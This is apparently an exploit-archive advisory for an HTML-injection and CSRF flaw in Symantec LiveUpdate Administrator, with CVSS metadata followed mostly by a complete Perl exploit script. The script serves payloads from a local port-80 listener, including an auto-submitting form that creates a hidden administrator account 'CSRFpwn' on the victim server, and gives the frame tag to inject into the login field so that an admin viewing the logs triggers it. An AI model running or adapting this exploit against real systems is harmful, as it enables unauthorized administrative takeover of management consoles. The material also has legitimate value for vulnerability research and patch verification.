Symantec LiveUpdate Administrator Management GUI HTML Injection

2011.03.28
Risk: Low
Local: No
Remote: No
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Source: http://www.securityfocus.com/bid/46856/info Symantec LiveUpdate Administrator is prone to an HTML-injection vulnerability. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. #!/usr/bin/perl ## # Title: Symantec Live Update Administrator CSRF Exploit # Name: luaCSRF.pl # Author: Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de> # # Use it only for education or ethical pentesting! The author accepts # no liability for damage caused by this tool. # ## use Socket; use IO::Handle; use Getopt::Std; my %args; getopt('g:h:', \%args); my $payload = $args{g} || usage(); my $victim = $args{h} || usage(); banner(); if ($payload eq "1") { print "[+] Using the Alert Box payload\n"; # Alert Box $html = <<ENDHTML; <html> <SCRIPT LANGUAGE="JavaScript">alert('!!!XSS/CSRF vulnerability!!!')</SCRIPT> </html> ENDHTML } elsif ($payload eq "2") { print "[+] Using the add admin user payload\n"; # Adds the user CSRFpwn with password 12345678 $html = <<ENDHTML; <html> <body onload="document.csrf.submit();"> <form name="csrf" action="http://$victim:7070/lua/adduser.do" method="post"> <input type="hidden" name="dispatch" value="save" /> <input type="hidden" name="username" value="CSRFpwn" /> <input type="hidden" name="password" value="12345678"/> <input type="hidden" name="verifyPassword" value="12345678"/> <input type="hidden" name="lastname" value="junk" /> <input type="hidden" name="firstname" value="junk" /> <input type="hidden" name="email" value="junk&#64;junk.com" /> <input type="hidden" name="userRole" value="1" /> </form> </body> </html> ENDHTML } my $protocol = getprotobyname('tcp'); socket(SOCK, AF_INET, SOCK_STREAM, $protocol) or die "[-] socket() failed: $!"; setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die "[-] Can't set SO_REUSEADDR: $!"; my $my_addr = sockaddr_in(80,INADDR_ANY); bind(SOCK,$my_addr) or die "[-] bind() failed: $!"; listen(SOCK,SOMAXCONN) or die "[-] listen() failed: $!"; warn "[+] waiting for incoming connections on port 80...\n"; warn "[+] Enter the following String in the LUA username login field\n"; warn "[+] (e.q. HTTP/SSH) and wair for the admin to view the Logs\n"; warn "[+]\n"; warn "[+] <frame src=http://<LOCAL_ADDRESS>/.html>\n"; $repeat = 1; $victim = inet_aton("0.0.0.0"); while($repeat) { my $remote_addr = accept(SESSION,SOCK); my ($port,$hisaddr) = sockaddr_in($remote_addr); warn "[+] Connection from [",inet_ntoa($hisaddr),",$port]\n"; $victim = $hisaddr; SESSION->autoflush(1); if(<SESSION>) { print SESSION $http_header . $html; } warn "[+] Connection from [",inet_ntoa($hisaddr),",$port] finished\n"; close SESSION; } sub usage { print $payload; print "\n"; print " luaCSRF.pl - Symantec LUA CSRF Exploit\n"; print "===============================================================\n\n"; print " Usage:\n"; print " $0 -g <payload> -h <lua-ip>\n"; print " Optional:\n"; print " -p <local port to listen on>\n"; print " -g (1|2) <payload to use>\n"; print " 1 <Execute an alert box\n"; print " 2 <Add the Admin User \"CSRFpwn\">\n"; print " Notes:\n"; print " -nothing here\n"; print "\n"; print " Author:\n"; print " Nikolas Sotiriu (lofi)\n"; print " url: www.sotiriu.de\n"; print " mail: lofi[at]sotiriu.de\n"; print "\n"; exit(1); } sub banner { print STDERR << "EOF"; -------------------------------------------------------------------------------- luaCSRF.pl - Symantec LUA CSRF Exploit -------------------------------------------------------------------------------- 111 1111111 11100 101 00110111001111 11101 11 10 111 101 1001111111 1101 11 00 10 11 11 111 1111111101 10111 1 10 11 10 0 10 1 1 1 1111111011 1111 1 1 10 0 01 01 01 1 1 111 1111011101 1000 0 11 10 10 0 10 11 111 11111 11 1111 111100 1111111111 01 10 10 11 01 0 11 11111111111 1 1111 11 10111110 0 01 00 11 1110 11 10 11111111111 11 11111 11 111 101111111 0 10 01 11 1 11 0 10 11 1111111111111111 1111110000111 011111 0110 10 10 0 11 1 11 01 01 111111111111111 1 11110011001 1011111 0110 10 11 1110 11 1 10 11111111111111111111 1 100 001 1011111 0 10 10 01 1 0 1 11 1 111111111111111111111111 001101 011111 0 0 0 11 0 1111 0 11 01111111111111111111111111 01 1111111 01 01 111 1 1111 1 11 1111111111111111111111 1101 1111 111 1111 10 0 111110 0111 0 1 0111111111111111111111 11111 1111 111 11111 1 11 1 1 1 111 11 11111111111111111111111110 1001 111 1011111 1 11111111110111111111111111111111111111111 01 10111001 11 1100 10110110 10001 11101111111111111111 10 111 11100 111 00 1011101 00101 0 11111111111111111001 11 111101 11 00 00 101 1000011 1011 1111 1111111000 1111111 0 11 00 0 1011 100001 101000 1 1001 00001111 01 01101 11111 1011 01100 0101 110 11 10 10111 1 0 01 0000011 10 10 10011 11100 1111 101 11 1110 01 101011 1001100 1111000011 1 111 11000001111 1 EOF }


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